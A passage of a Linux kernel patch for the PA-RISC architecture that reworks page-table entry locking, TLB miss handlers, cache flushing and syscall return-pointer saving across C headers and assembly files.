 #define PG_dcache_dirty         PG_arch_1
 
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
 /* Encode and de-code a swap entry */
@@ -423,56 +431,84 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 #define __pte_to_swp_entry(pte)		((swp_entry_t) { pte_val(pte) })
 #define __swp_entry_to_pte(x)		((pte_t) { (x).val })
 
-static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+static inline void __flush_tlb_page(struct mm_struct *mm, unsigned long addr)
 {
-#ifdef CONFIG_SMP
-	if (!pte_young(*ptep))
-		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
-		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
-	return 1;
-#endif
+	unsigned long flags;
+
+	/* For one page, it's not worth testing the split_tlb variable.  */
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+	mtsp(mm->context,1);
+	pdtlb(addr);
+	pitlb(addr);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
 
-extern spinlock_t pa_dbit_lock;
+static inline int ptep_set_access_flags(struct vm_area_struct *vma, unsigned
+ long addr, pte_t *ptep, pte_t entry, int dirty)
+{
+	int changed;
+	unsigned long flags;
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	changed = !pte_same(*ptep, entry);
+	if (changed) {
+		*ptep = entry;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	if (changed) {
+		__flush_tlb_page(vma->vm_mm, addr);
+	}
+	return changed;
+}
+
+static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+{
+	pte_t pte;
+	unsigned long flags;
+	int r;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	pte = *ptep;
+	if (pte_young(pte)) {
+		*ptep = pte_mkold(pte);
+		r = 1;
+	} else {
+		r = 0;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+
+	return r;
+}
 
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-	pte_t old_pte;
-	pte_t pte;
+	pte_t pte, old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_pte_lock, flags);
 	pte = old_pte = *ptep;
 	pte_val(pte) &= ~_PAGE_PRESENT;
 	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	*ptep = pte;
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	pte_t old_pte;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	old_pte = *ptep;
+	*ptep = pte_wrprotect(old_pte);
+	WARN_ON(!pte_present(old_pte) && !(pte_val(old_pte) & _PAGE_FLUSH));
+	__flush_tlb_page(mm, addr);
+	flush_cache_page(vma, addr, pte_pfn(old_pte));
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 }
 
-#define pte_same(A,B)	(pte_val(A) == pte_val(B))
-
 #endif /* !__ASSEMBLY__ */
 
 
@@ -504,6 +540,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 
 #define HAVE_ARCH_UNMAPPED_AREA
 
+#define __HAVE_ARCH_PTEP_SET_ACCESS_FLAGS
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
 #define __HAVE_ARCH_PTEP_SET_WRPROTECT
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
@@ -290,5 +292,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..517537d 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -336,9 +336,9 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 	}
 }
 
-void flush_dcache_page(struct page *page)
+static void flush_user_dcache_page_internal(struct address_space *mapping,
+					    struct page *page)
 {
-	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
@@ -346,14 +346,6 @@ void flush_dcache_page(struct page *page)
 	pgoff_t pgoff;
 	unsigned long pfn = page_to_pfn(page);
 
-
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-		return;
-	}
-
-	flush_kernel_dcache_page(page);
-
 	if (!mapping)
 		return;
 
@@ -387,6 +379,19 @@ void flush_dcache_page(struct page *page)
 	}
 	flush_dcache_mmap_unlock(mapping);
 }
+
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (mapping && !mapping_mapped(mapping)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+		return;
+	}
+
+	flush_kernel_dcache_page(page);
+	flush_user_dcache_page_internal(mapping, page);
+}
 EXPORT_SYMBOL(flush_dcache_page);
 
 /* Defined in arch/parisc/kernel/pacache.S */
@@ -395,15 +400,12 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
+static void clear_user_page_asm(void *page, unsigned long vaddr)
 {
-	unsigned long flags;
 	/* This function is implemented in assembly in pacache.S */
 	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
 
-	purge_tlb_start(flags);
 	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
 }
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -440,7 +442,6 @@ void __init parisc_setup_cache_timing(void)
 }
 
 extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
@@ -470,21 +471,10 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 {
 	/* no coherency needed (all in kmap/kunmap) */
 	copy_user_page_asm(vto, vfrom);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
+	flush_kernel_dcache_page_asm(vto);
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif
-
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -577,3 +567,25 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void *kmap_parisc(struct page *page)
+{
+	/* this is a killer.  There's no easy way to test quickly if
+	 * this page is dirty in any userspace.  Additionally, for
+	 * kernel alterations of the page, we'd need it invalidated
+	 * here anyway, so currently flush (and invalidate)
+	 * universally */
+	flush_user_dcache_page_internal(page_mapping(page), page);
+	return page_address(page);
+}
+EXPORT_SYMBOL(kmap_parisc);
+
+void kunmap_parisc(void *addr)
+{
+	/* flush and invalidate the kernel mapping.  We need the
+	 * invalidate so we don't have stale data at this cache
+	 * location the next time the page is mapped */
+	flush_kernel_dcache_page_addr(addr);
+}
+EXPORT_SYMBOL(kunmap_parisc);
+
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..e1c0128 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -45,7 +45,7 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
+	.import         pa_pte_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -488,13 +462,44 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* SMP lock for consistent PTE updates.  Unlocks and jumps
+	   to FAULT if the page is not present.  Note the preceeding
+	   load of the PTE can't be deleted since we can't fault holding
+	   the lock.  */ 
+	.macro		pte_lock	ptep,pte,spc,tmp,tmp1,fault
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_pte_lock),\tmp1
+1:
+	LDCW		0(\tmp1),\tmp
+	cmpib,COND(=)         0,\tmp,1b
+	nop
+	LDREG		%r0(\ptep),\pte
+	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+	b,n		\fault
+2:
+#endif
+	.endm
+
+	.macro		pte_unlock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,1f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+1:
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED,\tmp1
-	or		\tmp1,\pte,\tmp
-	and,COND(<>)	\tmp1,\pte,%r0
-	STREG		\tmp,0(\ptep)
+	.macro		update_ptep	ptep,pte,tmp
+	bb,<,n		\pte,_PAGE_ACCESSED_BIT,1f
+	ldi		_PAGE_ACCESSED,\tmp
+	or		\tmp,\pte,\pte
+	STREG		\pte,0(\ptep)
+1:
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
@@ -605,7 +610,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
@@ -622,6 +627,39 @@
 	or		%r26,%r0,\pte
 	.endm 
 
+	/* Save PTE for recheck if SMP.  */
+	.macro		save_pte	pte,tmp
+#ifdef CONFIG_SMP
+	copy		\pte,\tmp
+#endif
+	.endm
+
+	/* Reload the PTE and purge the data TLB entry if the new
+	   value is different from the old one.  */
+	.macro		dtlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pdtlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
+	.macro		itlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pitlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
 
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
@@ -758,6 +796,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +807,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +1014,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -997,13 +1042,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore
@@ -1026,14 +1064,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
@@ -1214,11 +1250,14 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_20w
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1238,11 +1277,10 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1272,8 +1310,11 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_11
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1283,6 +1324,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1321,11 +1363,9 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -1333,6 +1373,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1368,13 +1409,17 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_20
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1394,13 +1439,13 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1508,11 +1553,14 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1526,8 +1574,11 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1537,6 +1588,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1548,13 +1600,17 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1570,29 +1626,14 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1606,35 +1647,21 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-	mfsp            %sr1,t1  /* Save sr1 so we can use it in tlb inserts */
+	mfsp            %sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
 
-	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	mtsp            t0, %sr1     /* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1646,32 +1673,17 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
-	f_extend	pte,t1
+	f_extend	pte,t0
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1772,9 +1784,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1816,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1835,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1860,9 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -2076,9 +2091,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..4f0d975 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -277,6 +277,7 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
+#if 1
 ENTRY(copy_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
@@ -400,6 +401,7 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
+#endif
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -548,17 +550,33 @@ ENTRY(__clear_user_page_asm)
 	depwi		0, 31,12, %r28		/* Clear any offset bits */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
